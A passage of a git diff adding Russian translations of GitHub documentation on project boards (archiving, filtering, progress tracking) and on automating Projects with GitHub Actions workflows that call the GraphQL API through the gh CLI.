reusables.project-management.project-note-more-options %} +3. Чтобы изменить содержимое заметки, нажмите кнопку **Изменить заметку**. + ![Кнопка "Изменить заметку"](/assets/images/help/projects/edit-note.png) +4. Чтобы удалить содержимое заметок, нажмите кнопку **Удалить заметку**. + ![Кнопка "Удалить заметку"](/assets/images/help/projects/delete-note.png) + +## Дополнительные материалы + +- "[Сведения о {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)" +- "[Создание {% data variables.product.prodname_project_v1 %}](/articles/creating-a-project-board)" +- "[Редактирование {% data variables.product.prodname_project_v1 %}](/articles/editing-a-project-board)" +- "[Добавление проблем и запросов на вытягивание в {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)" diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md new file mode 100644 index 000000000000..6b6e8edcb759 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md @@ -0,0 +1,38 @@ +--- +title: 'Архивация карточек на {% data variables.product.prodname_project_v1 %}' +intro: 'Вы можете архивировать карточки {% data variables.projects.projects_v1_board %}, чтобы упорядочить рабочий процесс без потерь исторического контекста проекта.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/archiving-cards-on-a-project-board + - /articles/archiving-cards-on-a-project-board + - /github/managing-your-work-on-github/archiving-cards-on-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: 'Archive cards on {% data variables.product.prodname_project_v1 %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: bef90f56a55d6d087c21603586def91ec2f1c9ed +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110075' +--- +{% data reusables.projects.project_boards_old %} + +Автоматизация в {% data variables.projects.projects_v1_board %} не применяется к архивным карточкам {% data variables.projects.projects_v1_board %}. Например, если закрыть проблему в архиве {% data variables.projects.projects_v1_board %}, архивная карточка не перемещается в столбец "Готово" автоматически. При восстановлении карточки из архива {% data variables.projects.projects_v1_board %} она вернется в столбец, в котором она была архивирована. + +## Архивирование карточек на {% data variables.projects.projects_v1_board %} + +1. На {% data variables.projects.projects_v1_board %} найдите карточку, которую вы хотите архивировать, и щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. +![Список параметров для редактирования карточки доски проекта](/assets/images/help/projects/select-archiving-options-project-board-card.png) +2. Нажмите кнопку **Архивировать**. +![Выберите пункт "Архив" в меню](/assets/images/help/projects/archive-project-board-card.png) + +## Восстановление карточек на {% data variables.projects.projects_v1_board %} с боковой панели + +{% data reusables.project-management.click-menu %} +2. Щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} и выберите пункт **Посмотреть архив**. + ![Выберите пункт "Посмотреть архив" в меню](/assets/images/help/projects/select-view-archive-option-project-board-card.png) +3. Над карточкой {% data variables.projects.projects_v1_board %}, которую требуется разархивировать, нажмите кнопку **Восстановить**. + ![Выбор карточки на доске проекта для восстановления](/assets/images/help/projects/restore-card.png) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md new file mode 100644 index 000000000000..61018d9d1be5 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md @@ -0,0 +1,53 @@ +--- +title: 'Фильтрация карточек компонента "{% data variables.product.prodname_project_v1 %}"' +intro: 'Вы можете фильтровать карточки, которые содержит {% data variables.projects.projects_v1_board %}, чтобы найти определенные карточки или просмотреть их подмножество.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/filtering-cards-on-a-project-board + - /articles/filtering-cards-on-a-project-board + - /github/managing-your-work-on-github/filtering-cards-on-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: 'Filter cards on {% data variables.product.prodname_project_v1 %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: f203785a6fc18dc5f67b2ae62934aa10c2f6e8b8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109559' +--- +{% data reusables.projects.project_boards_old %} + +Щелкните любого уполномоченного, веху или метку на карточке, и {% data variables.projects.projects_v1_board %} будет отфильтрована по выбранному квалификатору. Чтобы очистить поиск, можно снова щелкнуть того же уполномоченного, веху или метку. + +Кроме того, каждая {% data variables.projects.projects_v1_board %} содержит вверху панель поиска "Фильтрация карточек". Карточки можно фильтровать с помощью следующих квалификаторов поиска в любом их сочетании или просто ввести нужный текст. + +- Фильтрация карточек по автору с помощью `author:USERNAME` +- Фильтрация карточек по уполномоченному с помощью `assignee:USERNAME` или `no:assignee` +- Фильтрация карточек по метке с помощью `label:LABEL`, `label:"MULTI-WORD LABEL NAME"` или `no:label` +- Фильтрация по вехе с помощью `milestone:MY-MILESTONE` +- Фильтрация карточек по состоянию с помощью `state:open`, `state:closed` или `state:merged` +- Фильтрация по состоянию просмотра с помощью `review:none`, `review:required`, `review:approved` или `review:changes_requested` +- Фильтрация по состоянию проверки с помощью `status:pending`, `status:success` или `status:failure` +- Фильтрация карточек по типу с помощью `type:issue`, `type:pr` или `type:note` +- Фильтрация карточек по состоянию и типу с помощью `is:open`, `is:closed` или `is:merged` и `is:issue`, `is:pr`или `is:note` +- Фильтрация карточек по проблемам, связанным с запросом на вытягивание, по закрывающей ссылке путем использования `linked:pr` +- Фильтрация карточек, которые содержит {% data variables.projects.projects_v1_board %} уровня организации, по репозиториям с помощью `repo:ORGANIZATION/REPOSITORY` + +1. Должна быть выбрана {% data variables.projects.projects_v1_board %}, содержащая карточки, которые требуется отфильтровать. +2. Над столбцами карточки проекта щелкните панель поиска "Фильтр карточек" и введите поисковый запрос, чтобы отфильтровать карточки. +![Панель поиска "Фильтр карточек"](/assets/images/help/projects/filter-card-search-bar.png) + +{% tip %} + +**Совет.** Можно перетащить отфильтрованные карточки или использовать сочетания клавиш для перемещения их между столбцами. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} + +{% endtip %} + +## Дополнительные материалы + +- [Сведения о компоненте "{% data variables.product.prodname_projects_v1 %}"](/articles/about-project-boards) +- [Добавление проблем и запросов на вытягивание к компоненту "{% data variables.product.prodname_project_v1 %}"](/articles/adding-issues-and-pull-requests-to-a-project-board) +- [Добавление заметок к компоненту "{% data variables.product.prodname_project_v1 %}"](/articles/adding-notes-to-a-project-board) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md new file mode 100644 index 000000000000..5e231417e979 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md @@ -0,0 +1,26 @@ +--- +title: 'Отслеживание хода выполнения на {% data variables.product.prodname_projects_v1 %}' +shortTitle: 'Tracking {% data variables.product.prodname_projects_v1 %}' +intro: 'Узнайте, как отслеживать работу в {% data variables.projects.projects_v1_board %}' +versions: + feature: projects-v1 +topics: + - Issues + - Projects +children: + - /adding-issues-and-pull-requests-to-a-project-board + - /adding-notes-to-a-project-board + - /tracking-progress-on-your-project-board + - /filtering-cards-on-a-project-board + - /archiving-cards-on-a-project-board +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 75699a8c8daa2729de4aaa7389b7e9a0448f09fa +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109039' +--- +{% data reusables.projects.project_boards_old %} diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md new file mode 100644 index 000000000000..dfe99035abce --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md @@ -0,0 +1,27 @@ +--- +title: 'Отслеживание хода выполнения {% data variables.product.prodname_project_v1 %}' +intro: 'Общий ход выполнения {% data variables.projects.projects_v1_board %} можно просмотреть с помощью индикатора выполнения.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/tracking-progress-on-your-project-board + - /articles/tracking-progress-on-your-project-board + - /github/managing-your-work-on-github/tracking-progress-on-your-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: 'Track progress on {% data variables.product.prodname_project_v1 %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 5104029ad5225c217697ea89a4bca8ff2d3fa4b5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109034' +--- +{% data reusables.projects.project_boards_old %} + +{% data reusables.project-management.project-progress-locations %} + +1. Перейдите к {% data variables.projects.projects_v1_board %}, для которого необходимо включить или отключить отслеживание хода выполнения. +{% data reusables.project-management.click-menu %} {% data reusables.project-management.click-edit-sidebar-menu-project-board %} +4. Установите или снимите флажок **Отслеживать ход выполнения проекта**. diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md new file mode 100644 index 000000000000..6ff7452d938f --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md @@ -0,0 +1,53 @@ +--- +title: Archiving items automatically +shortTitle: Archiving automatically +intro: You can configure your project's built-in workflows to automatically archive items that meet specific criteria. +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2-auto-archive +type: tutorial +topics: + - Projects +--- + +{% note %} + +**Note:** Built-in workflows are available as part of a limited beta. + +{% endnote %} + +## About automatically archiving items + +You can configure your project's built-in workflows to automatically archive items. Archiving items will help you stay below the limit of {% data variables.projects.item_limit %} items in each project. + +You can use the `is`, `reason`, and `last-updated` filters to specify when an item should be archived. + +When you enable automatic archiving for issues or pull requests, items in your project that already meet your criteria will also be archived. There may be some delay in archiving large numbers of items that already meet the criteria. + +Projects also have a limit on the number of archived items they can contain. Your project can contain up to {% data variables.projects.archived_item_limit %} archived items. For more information on permanently deleting items, see "[Deleting items +](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project#deleting-items)." + +## Configuring automatic archiving in your project + +{% data reusables.projects.access-workflows %} +1. In the "Default workflows" list, click **Auto-archive items**. + + ![Screenshot showing auto archive workflows](/assets/images/help/projects-v2/archive-workflows.png) + +1. Next to **When**, check the item type(s) that you want to automatically archive. + + ![Screenshot showing the "when" configuration for a workflow](/assets/images/help/projects-v2/workflow-when-archive.png) + +1. Next to {% octicon "filter" aria-label="The filter icon" %}, type the filter criteria you want to use to automatically archive items. You can only use the `is`, `reason`, and `last-updated` filters. For more information about filter syntax, see "[Filtering projects](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects)." + + ![Screenshot showing filter text area](/assets/images/help/projects-v2/auto-archive-filter.png) + +1. If the workflow is disabled, click the toggle next to **Off** to enable the workflow. + + ![Screenshot showing the "On/Off" control for a workflow](/assets/images/help/projects-v2/workflow-enable.png) + + +## Further reading + +* "[Archiving items from your project](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project)" +* "[Using the built-in automations](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations)" diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md new file mode 100644 index 000000000000..4d6595bb9267 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md @@ -0,0 +1,571 @@ +--- +title: 'Автоматизация {% data variables.product.prodname_projects_v2 %} с помощью Actions' +shortTitle: Automating with Actions +intro: 'Для автоматизации проектов можно использовать {% data variables.product.prodname_actions %}.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/automating-projects +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: c21e201e538d09826bd0d00f22fe60508c9d6a61 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106848' +--- +## Рабочие процессы {% data variables.product.prodname_actions %} + +В этом разделе показано, как использовать API GraphQL и {% data variables.product.prodname_actions %} для добавления запроса на вытягивание в проект организации. В примерах рабочих процессов, когда запрос на вытягивание помечен как "готов к проверке", в проект добавляется новая задача, для которой в поле "Состояние" указано "Выполнить", а в настраиваемое поле "Дата публикации" добавляется текущая дата. + +Вы можете скопировать один из приведенных ниже рабочих процессов и изменить его, как описано в таблице ниже, в соответствии с вашими потребностями. + +Проект может охватывать несколько репозиториев, но рабочий процесс зависит от репозитория. Добавьте рабочий процесс в каждый репозиторий, который требуется отслеживать в проекте. Дополнительные сведения о создании файлов рабочего процесса см. в разделе "[Краткое руководство по {% data variables.product.prodname_actions %}](/actions/quickstart). + +В этой статье предполагается, что у вас есть базовое представление о {% data variables.product.prodname_actions %}. Дополнительные сведения о {% data variables.product.prodname_actions %} см. в разделе [{% data variables.product.prodname_actions %}](/actions). + +Дополнительные сведения о других изменениях, которые можно внести в проект с помощью API, см. в разделе [Использование API для управления проектами](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects). + +Вы также можете использовать рабочий процесс **actions/add-to-project**, который поддерживается {% data variables.product.company_short %} и добавит текущую проблему или запрос на вытягивание в указанный проект. Дополнительные сведения см. в репозитории [actions/add-to-project](https://github.com/actions/add-to-project) и файле сведений. + +{% note %} + +**Примечание.** `GITHUB_TOKEN` ограничен уровнем репозитория и не может получить доступ к {% data variables.projects.projects_v2 %}. Для доступа к {% data variables.projects.projects_v2 %} можно создать {% data variables.product.prodname_github_app %} (рекомендуется для проектов организации) или {% data variables.product.pat_generic %} (рекомендуется для пользовательских проектов). Ниже приведены примеры рабочих процессов для обоих подходов. + +{% endnote %} + +### Пример проверки подлинности рабочего процесса при использовании {% data variables.product.prodname_github_app %} + +1. Создайте {% data variables.product.prodname_github_app %} или выберите существующий {% data variables.product.prodname_github_app %}, принадлежащий вашей организации. Дополнительные сведения см. в статье [Создание {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app). +2. Предоставьте для {% data variables.product.prodname_github_app %} разрешения на чтение и запись в проектах организации. Дополнительные сведения см. в разделе [Изменение разрешений {% data variables.product.prodname_github_app %}](/developers/apps/managing-github-apps/editing-a-github-apps-permissions). + + {% note %} + + **Примечание.** Вы можете управлять разрешением приложения в проектах организации и проектах репозитория. Необходимо предоставить разрешение на чтение и запись в проектах организации; разрешений на чтение и запись в проектах репозитория будет недостаточно. + + {% endnote %} + +3. Установите {% data variables.product.prodname_github_app %} в вашей организации. Установите его для всех репозиториев, к которым проект должен получать доступ. Дополнительные сведения см. в разделе [Установка {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository). +4. Храните идентификатор {% data variables.product.prodname_github_app %} как секрет в репозитории или организации. В следующем рабочем процессе замените `APP_ID` именем секрета. Идентификатор приложения можно найти на странице параметров приложения или через API приложений. Дополнительные сведения см. в разделе [Приложения ](/rest/reference/apps#get-an-app). +5. Создайте закрытый ключ для приложения. Сохраните содержимое итогового файла в виде секрета в репозитории или организации. (Сохраните все содержимое файла, включая `-----BEGIN RSA PRIVATE KEY-----` и `-----END RSA PRIVATE KEY-----`.) В следующем рабочем процессе замените `APP_PEM` именем секрета. Дополнительные сведения см. в разделе [Проверка подлинности с помощью {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key). +6. В следующем рабочем процессе замените `YOUR_ORGANIZATION` названием организации. Например, `octo-org`. Замените `YOUR_PROJECT_NUMBER` номером проекта. Чтобы найти номер проекта, просмотрите URL-адрес проекта. Например, у `https://github.com/orgs/octo-org/projects/5` номер 5. + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Add PR to project +on: + pull_request: + types: + - ready_for_review +jobs: + track_pr: + runs-on: ubuntu-latest + steps: + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Get project data + env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER + run: | + gh api graphql -f query=' + query($org: String!, $number: Int!) { + organization(login: $org){ + projectV2(number: $number) { + id + fields(first:20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } + }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json + + echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV + echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV + echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV + echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV + + - name: Add PR to project + env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} + run: | + item_id="$( gh api graphql -f query=' + mutation($project:ID!, $pr:ID!) { + addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { + item { + id + } + } + }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" + + echo 'ITEM_ID='$item_id >> $GITHUB_ENV + + - name: Get date + run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV + + - name: Set fields + env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + run: | + gh api graphql -f query=' + mutation ( + $project: ID! + $item: ID! + $status_field: ID! + $status_value: String! + $date_field: ID! + $date_value: Date! + ) { + set_status: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $status_field + value: { + singleSelectOptionId: $status_value + } + }) { + projectV2Item { + id + } + } + set_date_posted: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $date_field + value: { + date: $date_value + } + }) { + projectV2Item { + id + } + } + }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent + +``` + +### Пример проверки подлинности рабочего процесса с помощью {% data variables.product.pat_generic %} + +1. Создайте {% data variables.product.pat_v1 %} с областями `project` и `repo` . Дополнительные сведения см. в разделе [Создание {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token). +2. Сохраните {% data variables.product.pat_generic %} в качестве секрета в репозитории или организации. +3. В следующем рабочем процессе замените `YOUR_TOKEN` именем секрета. Замените `YOUR_ORGANIZATION` названием организации. Например, `octo-org`. Замените `YOUR_PROJECT_NUMBER` номером проекта. Чтобы найти номер проекта, просмотрите URL-адрес проекта. Например, у `https://github.com/orgs/octo-org/projects/5` номер 5. + +```yaml{:copy} +name: Add PR to project +on: + pull_request: + types: + - ready_for_review +jobs: + track_pr: + runs-on: ubuntu-latest + steps: + - name: Get project data + env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER + run: | + gh api graphql -f query=' + query($org: String!, $number: Int!) { + organization(login: $org){ + projectV2(number: $number) { + id + fields(first:20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } + }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json + + echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV + echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV + echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV + echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV + + - name: Add PR to project + env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} + run: | + item_id="$( gh api graphql -f query=' + mutation($project:ID!, $pr:ID!) { + addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { + item { + id + } + } + }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" + + echo 'ITEM_ID='$item_id >> $GITHUB_ENV + + - name: Get date + run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV + + - name: Set fields + env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + run: | + gh api graphql -f query=' + mutation ( + $project: ID! + $item: ID! + $status_field: ID! + $status_value: String! + $date_field: ID! + $date_value: Date! + ) { + set_status: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $status_field + value: { + singleSelectOptionId: $status_value + } + }) { + projectV2Item { + id + } + } + set_date_posted: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $date_field + value: { + date: $date_value + } + }) { + projectV2Item { + id + } + } + }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent + +``` + +### Описание рабочего процесса + +В следующей таблице описаны разделы примеров рабочих процессов и показано, как адаптировать рабочие процессы для собственного использования. + +<table class="table-fixed"> + +<tr> +<td> + +```yaml +on: + pull_request: + types: + - ready_for_review +``` + +</td> +<td> +Этот рабочий процесс выполняется каждый раз, когда запрос на вытягивание в репозитории помечается как "готов к проверке". +</td> +</tr> + +<tr> +<td> + +Только {% data variables.product.prodname_github_app %}: + +```yaml +- name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} +``` + +</td> +<td> +Использует <a href="https://github.com/tibdex/github-app-token">действие tibdex/github-app-token</a> для создания маркера доступа установки для приложения на основе идентификатора приложения и закрытого ключа. Маркер доступа установки будет доступен позже в рабочем процессе как <code>{% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}</code>. +<br> +<br> +Замените <code>APP_ID</code> именем секрета, содержащего идентификатор приложения. +<br> +<br> +Замените <code>APP_PEM</code> именем секрета, содержащего закрытый ключ. +</td> +</tr> + +<tr> +<td> + +{% data variables.product.prodname_github_app %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER +``` + +{% data variables.product.pat_generic_caps %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER +``` + +</td> +<td> +Задает переменные среды для этого шага. +<br> +<br> +Если вы используете {% data variables.product.pat_generic %}, замените <code>YOUR_TOKEN</code> именем секрета, содержащего {% data variables.product.pat_generic %}. +<br> +<br> +Замените <code>YOUR_ORGANIZATION</code> названием организации. Например, <code>octo-org</code>. +<br> +<br> +Замените <code>YOUR_PROJECT_NUMBER</code> номером проекта. Чтобы найти номер проекта, просмотрите URL-адрес проекта. Например, у <code>https://github.com/orgs/octo-org/projects/5</code> номер 5. +</td> +</tr> + +<tr> +<td> + +```yaml +gh api graphql -f query=' + query($org: String!, $number: Int!) { + organization(login: $org){ + projectV2(number: $number) { + id + fields(first:20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } + }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json +``` + +</td> +<td> +<p>Использует <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a>, чтобы по идентификатору проекта получить от API идентификаторы, имена и параметры первых 20 полей в этом проекте. <code>fields</code> возвращает объединение, и в этом запросе используются встроенные фрагменты (<code>... on</code>) для передачи сведений о любых полях <code>ProjectV2Field</code> и <code>ProjectV2SingleSelectField</code>.</p> + +<p>Ответ хранится в файле с именем <code>project_data.json</code>.</p> +</td> +</tr> + +<tr> +<td> + +```yaml +echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV +echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV +echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV +echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV +``` + +</td> +<td> +Анализирует ответ из запроса API и сохраняет соответствующие идентификаторы в виде переменных среды. Измените его, чтобы получить идентификатор для различных полей или параметров. Пример: +<ul> +<li>Чтобы получить идентификатор поля с именем <code>Team</code>, добавьте <code>echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV</code>.</li> +<li>Чтобы получить идентификатор параметра с именем <code>Octoteam</code> для поля <code>Team</code> с одиночным выбором, добавьте <code>echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") |.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV</code>.</li> +</ul> +<strong>Примечание. </strong> В этом рабочем процессе предполагается, что у вас есть проект с полем одиночного выбора с именем "Состояние" и вариантом "Выполнить", а также поле даты с именем "Дата публикации". Этот раздел необходимо изменить в соответствии с полями, которые присутствуют в таблице. +</td> +</tr> + +<tr> +<td> + +{% data variables.product.prodname_github_app %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} +``` + +{% data variables.product.pat_generic_caps %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} +``` + +</td> +<td> +Задает переменные среды для этого шага. <code>GITHUB_TOKEN</code> — описано выше. <code>PR_ID</code> — это идентификатор запроса на вытягивание, который активировал этот рабочий процесс. + +</td> +</tr> + +<tr> +<td> + +```yaml +item_id="$( gh api graphql -f query=' + mutation($project:ID!, $pr:ID!) { + addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { + item { + id + } + } + }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" +``` + +</td> +<td> +Использует <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> и API для добавления в проект запроса на вытягивание, который активировал этот рабочий процесс. Флаг <code>jq</code> анализирует ответ, чтобы получить идентификатор созданного элемента. +</td> +</tr> + +<tr> +<td> + +```yaml +echo 'ITEM_ID='$item_id >> $GITHUB_ENV +``` + +</td> +<td> +Сохраняет идентификатор созданного элемента в качестве переменной среды. +</td> +</tr> + +<tr> +<td> + +```yaml +echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV +``` + +</td> +<td> +Сохраняет текущую дату в виде переменной среды в формате <code>yyyy-mm-dd</code>. 